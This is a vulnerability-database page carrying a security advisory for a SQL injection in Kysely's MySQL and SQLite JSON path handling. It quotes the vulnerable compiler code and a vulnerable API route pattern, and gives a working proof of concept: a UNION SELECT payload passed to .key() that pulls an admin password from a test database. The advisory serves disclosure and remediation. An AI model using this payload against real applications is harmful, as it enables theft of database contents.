CVE-2026-32763
HIGHCVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Lifecycle Timeline
3Tags
Description
### Summary Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`'$.key'`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL. This is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers - both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected. ### Details `visitJSONPath()` wraps JSON path in single quotes (`'$...'`), and `visitJSONPathLeg()` appends each key/index value via `this.append(String(node.value))` with no sanitization: ```javascript // dist/cjs/query-compiler/default-query-compiler.js visitJSONPath(node) { if (node.inOperator) { this.visitNode(node.inOperator); } this.append("'$"); for (const pathLeg of node.pathLegs) { this.visitNode(pathLeg); // Each leg appended without escaping } this.append("'"); } visitJSONPathLeg(node) { const isArrayLocation = node.type === 'ArrayLocation'; this.append(isArrayLocation ? '[' : '.'); this.append(String(node.value)); // <-- NO single quote escaping if (isArrayLocation) { this.append(']'); } } ``` Contrast with `sanitizeIdentifier()` in the same file, which properly doubles delimiter characters: ```javascript sanitizeIdentifier(identifier) { const leftWrap = this.getLeftIdentifierWrapper(); const rightWrap = this.getRightIdentifierWrapper(); let sanitized = ''; for (const c of identifier) { sanitized += c; if (c === leftWrap) { sanitized += leftWrap; } else if (c === rightWrap) { sanitized += rightWrap; } } return sanitized; } ``` Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not. PostgreSQL is **not affected**. The branching happens in `JSONPathBuilder.#createBuilderWithPathLeg()` (`json-path-builder.js`): - **MySQL/SQLite** operators (`->$`, `->>$`) produce a `JSONPathNode` traversal → `visitJSONPathLeg()` concatenates the key directly into a single-quoted JSON path string (`'$.key'`) - **vulnerable**, no escaping. - **PostgreSQL** operators (`->`, `->>`) produce a `JSONOperatorChainNode` traversal → `ValueNode.createImmediate(value)` → `appendImmediateValue()` → `appendStringLiteral()` → **`sanitizeStringLiteral()` doubles single quotes** (`'` → `''`), generating chained operators (`"col"->>'city'`). Injection payload becomes a harmless string literal. Same `.key()` call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely. ### PoC End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3): ```javascript const Database = require('better-sqlite3'); const { Kysely, SqliteDialect } = require('kysely'); const sqliteDb = new Database(':memory:'); sqliteDb.exec(` CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT); INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}'); INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}'); CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT); INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123'); `); const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) }); async function main() { // Safe usage const safe = await db .selectFrom('users') .select(eb => eb.ref('profile', '->>$').key('city').as('city')) .execute(); console.log("Safe:", safe); // [ { city: 'Seoul' }, { city: 'Tokyo' } ] // Injection via .key() - exfiltrate admin password const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `; const attack = await db .selectFrom('users') .select(eb => eb.ref('profile', '->>$').key(malicious).as('city')) .execute(); console.log("Injected:", attack); // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ] } main(); ``` The payload includes `as "city" from "users"` to complete the first SELECT before the UNION. The `--` comments out the trailing `' as "city" from "users"` appended by Kysely. Generated SQL: ```sql select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users" ``` ### Realistic application pattern ```javascript app.get('/api/products', async (req, res) => { const field = req.query.field || 'name'; const products = await db .selectFrom('products') .select(eb => eb.ref('metadata', '->>$').key(field).as('value')) .execute(); res.json(products); }); ``` Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data. ### Suggested fix Escape single quotes in JSON path values within `visitJSONPathLeg()`, similar to how `sanitizeIdentifier()` doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers. ### Impact **SQL Injection (CWE-89)** - An attacker can inject arbitrary SQL via crafted JSON key names passed to `.key()` or `.at()`, enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.
Analysis
Kysely through version 0.28.11 contains a SQL injection vulnerability in JSON path compilation affecting MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() methods directly into single-quoted JSON path string literals without escaping single quotes, enabling attackers to break out of the string context and inject arbitrary SQL. …
Sign in for full analysis, threat intelligence, and remediation guidance.
Remediation
Within 24 hours: Inventory all applications and services using Kysely and identify which versions are deployed. Within 7 days: Apply available vendor patches to all affected Kysely instances and conduct thorough testing in staging environments before production deployment. …
Sign in for detailed remediation steps.
Priority Score
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-wmrf-hv6w-mr66